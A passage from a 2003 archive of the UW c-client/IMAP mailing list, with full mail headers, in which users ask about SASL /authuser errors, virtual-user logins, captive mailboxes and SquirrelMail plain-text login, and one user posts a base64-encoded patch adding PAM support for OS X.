Oct 2003, Etienne Goyer wrote: > > My problem are two fold : under either plaintext or SSL connection, I > > received the "Can't do /authuser with this server" error form c-client. > > "Can't do /authuser with this server" means that c-client does not > recognize any server's SASL authenticators, and is therefore doing the > LOGIN command. The LOGIN command can't do /authuser. Yes, I guesed it. The server advertise AUTH=PLAIN in either clear or TLS/SSL connection. I guess it should pick it up ... > I don't know what PHP may be doing. Perhaps it disables AUTH=PLAIN. Since mailutil work, this is the best guess. However, I had been reading PHP's imap_open() carefully, and I am pretty sure it pass the mailbox string as-is. I will look into it further. Thanks for your insight; any other ideas/comments greatly appreciated. -- Etienne Goyer Linux Québec Technologies Inc. http://www.LinuxQuebec.com etienne.goyer@linuxquebec.com From pinedev@shivax2.cac.washington.edu Thu Oct 30 08:46:03 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Oct 2003 08:46:03 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGk3lU028343 for ; Thu, 30 Oct 2003 08:46:03 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGjxqm028952 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 30 Oct 2003 08:46:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9UGjqxs011716; Thu, 30 Oct 2003 08:45:52 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGjAfc054012 for ; Thu, 30 Oct 2003 08:45:10 -0800 Received: from vega.citec.es ([213.172.37.212]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGj7bn014829 for ; Thu, 30 Oct 2003 08:45:08 -0800 Received: from mad666 (osiris-dmz.citec.es [213.172.37.215]) by vega.citec.es (8.11.6/8.11.6) with SMTP id h9UGj0q23521 for ; Thu, 30 Oct 2003 17:45:00 +0100 Message-Id: Date: Thu, 30 Oct 2003 17:46:28 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Egic" To: Subject: how to authentificate virtual e-mail user? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200 X-RAVMilter-Version: 8.3.1(snapshot 20020108) (vega) X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME, SIGNATURE_SHORT_DENSE, __CT, __CTE, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_VERSION, __OIMO_MSGID, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi to all, I have a problem to authentificate users from virtualusername table. Is there any patch for version 2002e to preserve authentification with virtualusername@domain.com/passwd that I have on all clients site configuration I would very appreciate any kind of help Regards, Andrej -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 30 18:53:58 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Oct 2003 18:53:58 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9V2rwlU023206 for ; Thu, 30 Oct 2003 18:53:58 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9V2ruOA027389 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 30 Oct 2003 18:53:56 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9V2rmSa009530; Thu, 30 Oct 2003 18:53:48 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9V2qqfc036656 for ; Thu, 30 Oct 2003 18:52:52 -0800 Received: from maczipit.com ([66.223.126.28]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9V2qopX010458 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 30 Oct 2003 18:52:51 -0800 Received: from localhost (tbrown@localhost) by maczipit.com (8.11.6/8.11.0) with ESMTP id h9V2qkE07340 for ; Thu, 30 Oct 2003 21:52:50 -0500 (EST) (envelope-from tb000@maczipit.com) Message-Id: <20031030214706.P7044-200000@maczipit.com> Date: Thu, 30 Oct 2003 21:52:46 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tom Brown To: c-client@u.washington.edu Subject: Second patch for imapd under Panther MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1453472193-1067568766=:7044" X-Authentication-Warning: maczipit.com: tbrown owned process doing -bs X-X-Sender: tbrown@maczipit.com X-Uwash-Spam: Gauge=X, Probability=10%, Report='FROM_ENDS_IN_NUMS, X_AUTH_WARNING, __CT, __CTYPE_HAS_BOUNDARY, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1453472193-1067568766=:7044 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello again - Here is a new patch that enables pam authentication by default under OS X, and fixes the nonstandard directory problem. I have verified that this works under OS X, if a proper pam configuration file is created in /etc/pam.d. Hopefully this can be included in the distribution. I recommend adding a note to the install file indicating that OS X users should 'sudo cp /etc/pam.d/chkpasswd /etc/pam.d/imap' in order to get it working. Tom --0-1453472193-1067568766=:7044 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=diff2 Content-Transfer-Encoding: BASE64 Content-ID: <20031030215246.P7044@maczipit.com> Content-Description: Content-Disposition: attachment; filename=diff2 ZGlmZiAtTnJ1cCBzcmMvb3NkZXAvdW5peC9NYWtlZmlsZSAvdXNyL2xvY2Fs L3NyYy9pbWFwLTIwMDJlL3NyYy9vc2RlcC91bml4L01ha2VmaWxlDQotLS0g c3JjL29zZGVwL3VuaXgvTWFrZWZpbGUJTW9uIEp1bCAxNCAyMToyNDoyNCAy MDAzDQorKysgL3Vzci9sb2NhbC9zcmMvaW1hcC0yMDAyZS9zcmMvb3NkZXAv dW5peC9NYWtlZmlsZQlUaHUgT2N0IDMwIDIwOjQ3OjA1IDIwMDMNCkBAIC01 MjUsOSArNTI1LDEwIEBAIG9zNDoJIyBPU0YvMSAoRGlnaXRhbCBVTklYKSA0 DQogDQogb3N4OgkjIE1hYyBPUyBYDQogCSQoQlVJTEQpIGAkKENBVCkgU1BF Q0lBTFNgIE9TPSRAIFwNCi0JIENSWFRZUEU9bmZzIFwNCisJIENIRUNLUFc9 cGFtIENSWFRZUEU9bmZzIFwNCiAJIFNQT09MRElSPS92YXIvc3Bvb2wgTUFJ TFNQT09MPS92YXIvbWFpbCBcDQotCSBCQVNFQ0ZMQUdTPSItZyAtTyINCisJ IEJBU0VDRkxBR1M9Ii1nIC1PIC1JL3Vzci9pbmNsdWRlL3BhbSAtRFBBTUlO Q0xVREVEIiBcDQorCSBFWFRSQUxERkxBR1M9Ii1scGFtIC1sZGwiDQogDQog cHR4OgkjIFBUWA0KIAkkKEJVSUxEKSBgJChDQVQpIFNQRUNJQUxTYCBPUz0k QCBcDQpkaWZmIC1OcnVwIHNyYy9vc2RlcC91bml4L2NrcF9wYW0uYyAvdXNy L2xvY2FsL3NyYy9pbWFwLTIwMDJlL3NyYy9vc2RlcC91bml4L2NrcF9wYW0u Yw0KLS0tIHNyYy9vc2RlcC91bml4L2NrcF9wYW0uYwlNb24gQXByIDI5IDIy OjMyOjI3IDIwMDINCisrKyAvdXNyL2xvY2FsL3NyYy9pbWFwLTIwMDJlL3Ny Yy9vc2RlcC91bml4L2NrcF9wYW0uYwlUaHUgT2N0IDMwIDIwOjQ3OjE3IDIw MDMNCkBAIC0xOCw3ICsxOCwxMSBAQA0KICAqIENQWVJJR0hULCBpbmNsdWRl ZCB3aXRoIHRoaXMgRGlzdHJpYnV0aW9uLg0KICAqLw0KIAwNCisjaWZuZGVm IFBBTUlOQ0xVREVEDQogI2luY2x1ZGUgPHNlY3VyaXR5L3BhbV9hcHBsLmg+ DQorI2Vsc2UNCisjaW5jbHVkZSA8cGFtX2FwcGwuaD4NCisjZW5kaWYNCiAN CiBzdHJ1Y3QgY2hlY2twd19jcmVkIHsNCiAgIGNoYXIgKnVuYW1lOwkJCS8q IHVzZXIgbmFtZSAqLw0K --0-1453472193-1067568766=:7044-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 30 19:05:13 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Oct 2003 19:05:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9V35ClU023453 for ; Thu, 30 Oct 2003 19:05:12 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9V35AOA027714 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 30 Oct 2003 19:05:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9V355XU096732; Thu, 30 Oct 2003 19:05:05 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9V34Ifc036676 for ; Thu, 30 Oct 2003 19:04:18 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9V34Hbn015549 for ; Thu, 30 Oct 2003 19:04:18 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9V34FC2011130; Thu, 30 Oct 2003 19:04:15 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9V34ESS011632 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 30 Oct 2003 19:04:15 -0800 Message-Id: Date: Thu, 30 Oct 2003 19:04:15 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tom Brown Cc: c-client@u.washington.edu Subject: Re: Second patch for imapd under Panther In-Reply-To: <20031030214706.P7044-200000@maczipit.com> References: <20031030214706.P7044-200000@maczipit.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Tom - I've already done something similar in the latest imap-2003 development tarball. Could you make sure that ftp://ftp.cac.washington.edu/mail/imap-2003.DEV.tar.Z builds properly for you using the new "oxp" port ("OSX with PAM")? The reason why I spawned a new port is that I am concerned that the PAM version might not build under the previous version. Thanks, -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Oct 31 06:19:43 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 31 Oct 2003 06:19:43 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9VEJglU011316 for ; Fri, 31 Oct 2003 06:19:42 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9VEJdOA011225 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 31 Oct 2003 06:19:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9VEJWvE020844; Fri, 31 Oct 2003 06:19:32 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9VEI5nM016206 for ; Fri, 31 Oct 2003 06:18:05 -0800 Received: from vega.citec.es ([213.172.37.212]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9VEI1QP026075 for ; Fri, 31 Oct 2003 06:18:02 -0800 Received: from mad666 (osiris-dmz.citec.es [213.172.37.215]) by vega.citec.es (8.11.6/8.11.6) with SMTP id h9VEI0n03962 for ; Fri, 31 Oct 2003 15:18:01 +0100 Message-Id: <002301c39fba$009d7b40$6f01a8c0@citi> Date: Fri, 31 Oct 2003 15:19:31 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Egic" To: Subject: =?iso-8859-1?Q?=BFhow_to_login_using_registers_from_virtusertable=3F?= MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4927.1200 X-RAVMilter-Version: 8.3.1(snapshot 20020108) (vega) X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME, SIGNATURE_SHORT_DENSE, __CT, __CTE, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_VERSION, __OUTLOOK_MSGID_1, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Maybe I was not such a clear with my question so I would try to reformulate it. The problem is following: All the clients have configurated login with complete e-mail direcction and their password. Is it posible (apart of normal configuration with username/password) to configure wu-imapd-2002e to sopport those users with registers in virtusertable. I have seen that there is patch for 2000c version. Is there something simular for 2002e version or any other way to resolve this. Thanks in advance -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 3 05:02:12 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Nov 2003 05:02:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3D2BlU004255 for ; Mon, 3 Nov 2003 05:02:11 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3D27hW018282 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Nov 2003 05:02:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hA3D23bc012276; Mon, 3 Nov 2003 05:02:03 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3CxXnM012118 for ; Mon, 3 Nov 2003 04:59:34 -0800 Received: from venus.glocalnet.com (mail.glocalnet.com [213.163.128.130]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3CxSTN017829 for ; Mon, 3 Nov 2003 04:59:32 -0800 Message-Id: <46538C88A91DE841A71F583AB1E67DFE01C4B9@venus.glocalnet.com> Date: Mon, 3 Nov 2003 14:00:11 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "James Wilde" To: Subject: Setting up a captive mailbox Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE, SUPERLONG_LINE, __CT, __CTE, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __IMS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hope someone can help with this. Have not been able to find the right = search parameters in my searching of the archives. We want to change our customers from one modempool number to another. = To achieve this, we want to send them to a captive server if they use = the old modem number, from which they can only escape by changing the = modem number they ring - or rather having our little program on the = captive server do it for them. For webmail customers this is already fixed. It is our pop and imap = customers with which I have a problem. My question is how do I = configure a uw-imap server to direct all attempted logins, whether by = pop or imap, to the same mailbox which delivers one message to the = person, a message which he/she cannot erase in the mailbox (so that = others can receive it). If the accepted solution requires one mailbox = for pop and one for imap, that's okay. If there is an easier solution using something other than uw-imap, feel = free to suggest it. TIA mvh/regards James =20 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 3 07:04:32 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Nov 2003 07:04:32 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3F4VlU006901 for ; Mon, 3 Nov 2003 07:04:31 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3F4ThW021017 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Nov 2003 07:04:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hA3F4Qbc011350; Mon, 3 Nov 2003 07:04:26 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3F2FnM014594 for ; Mon, 3 Nov 2003 07:02:15 -0800 Received: from servidor (168-226-97-202.speedy.com.ar [168.226.97.202]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3F2DQP001376 for ; Mon, 3 Nov 2003 07:02:14 -0800 Received: from TUXSoft (unknown [192.168.3.2]) by servidor (Postfix) with SMTP id CF6D8144C3 for ; Mon, 3 Nov 2003 12:01:51 -0300 (ART) Message-Id: <004201c3a21b$4a7368c0$0203a8c0@TUXSoft> Date: Mon, 3 Nov 2003 12:00:59 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?iso-8859-1?Q?Facundo_Su=E1rez?= To: Subject: testing MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_003F_01C3A202.24FE5D70" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='HTML_90_100, PRIORITY_NO_NAME, SIGNATURE_LONG_DENSE, __CT, __CTYPE_HAS_BOUNDARY, __CTYPE_MULTIPART_ALT, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_HTML, __MIME_VERSION, __NEXTPART_ALL, __NEXTPART_NORMAL, __OUTLOOK_MSGID_1, __SANE_MSGID, __TAG_EXISTS_BODY, __TAG_EXISTS_HEAD, __TAG_EXISTS_HTML, __TAG_EXISTS_META' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_003F_01C3A202.24FE5D70 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Only that ! ------=_NextPart_000_003F_01C3A202.24FE5D70 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Only that !
    ------=_NextPart_000_003F_01C3A202.24FE5D70-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 3 07:10:14 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Nov 2003 07:10:14 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3FAElU007026 for ; Mon, 3 Nov 2003 07:10:14 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3FAACk013563 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Nov 2003 07:10:10 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hA3FA6nH008646; Mon, 3 Nov 2003 07:10:06 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3F9QnM024150 for ; Mon, 3 Nov 2003 07:09:26 -0800 Received: from servidor (168-226-97-202.speedy.com.ar [168.226.97.202]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3F9NQP002832 for ; Mon, 3 Nov 2003 07:09:24 -0800 Received: from TUXSoft (unknown [192.168.3.2]) by servidor (Postfix) with SMTP id 87F8F144C3 for ; Mon, 3 Nov 2003 12:09:20 -0300 (ART) Message-Id: <006701c3a21c$55edfcf0$0203a8c0@TUXSoft> Date: Mon, 3 Nov 2003 12:08:27 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?iso-8859-1?Q?Facundo_Su=E1rez?= To: Subject: plain text login MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0064_01C3A203.3007E050" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300 X-Uwash-Spam: Gauge=XIIII, Probability=14%, Report='HTML_50_70, PRIORITY_NO_NAME, SUPERLONG_LINE, __CT, __CTYPE_HAS_BOUNDARY, __CTYPE_MULTIPART_ALT, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_HTML, __MIME_VERSION, __NEXTPART_ALL, __NEXTPART_NORMAL, __OUTLOOK_MSGID_1, __SANE_MSGID, __TAG_EXISTS_BODY, __TAG_EXISTS_HEAD, __TAG_EXISTS_HTML, __TAG_EXISTS_META' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0064_01C3A203.3007E050 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, i am a new user of uw-imap and i am having troubles with my = Squirrelmail, i want to use it with uw-imap, but, configuring Squirrel = to work with uw, port 143, tsl support, login autenticated, and still = don't work. It don't let me login in Squirrelmail page. Using imap cilents.. it's all ok. both, tsl on 143 and tsl on 993. My question is, how con i configure uw-imap to work plaint text login, = no tsl, port 143 to work fine with squirrel ??. I am using debian and i = have installed uw-imap with apt-get. I will be very thaks to any help. ------=_NextPart_000_0064_01C3A203.3007E050 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
     Hi, i am a new user of uw-imap = and i am=20 having troubles with my Squirrelmail, i want to use it with uw-imap, = but,=20 configuring Squirrel to work with uw, port 143, tsl support, login = autenticated,=20 and still don't work. It don't let me login in Squirrelmail = page.
     
     Using imap cilents.. it's all ok. = both, tsl=20 on 143 and tsl on 993.
     
     My question is, how con i = configure uw-imap=20 to work plaint text login, no tsl, port 143 to work fine with squirrel = ??. I am=20 using debian and i have installed uw-imap with apt-get.
     
     I will be very thaks to any=20 help.
    ------=_NextPart_000_0064_01C3A203.3007E050-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 3 08:20:24 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Nov 2003 08:20:24 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3GKKlU009266 for ; Mon, 3 Nov 2003 08:20:20 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3GKIhW023135 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Nov 2003 08:20:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hA3GKEnH011058; Mon, 3 Nov 2003 08:20:14 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3GImnM014684 for ; Mon, 3 Nov 2003 08:18:48 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3GIlFY019219 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 3 Nov 2003 08:18:48 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3GIaMk005869; Mon, 3 Nov 2003 08:18:37 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3GIa3l009607; Mon, 3 Nov 2003 08:18:36 -0800 Message-Id: Date: Mon, 3 Nov 2003 08:18:36 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: James Wilde Cc: c-client@u.washington.edu Subject: Re: Setting up a captive mailbox In-Reply-To: <46538C88A91DE841A71F583AB1E67DFE01C4B9@venus.glocalnet.com> References: <46538C88A91DE841A71F583AB1E67DFE01C4B9@venus.glocalnet.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: 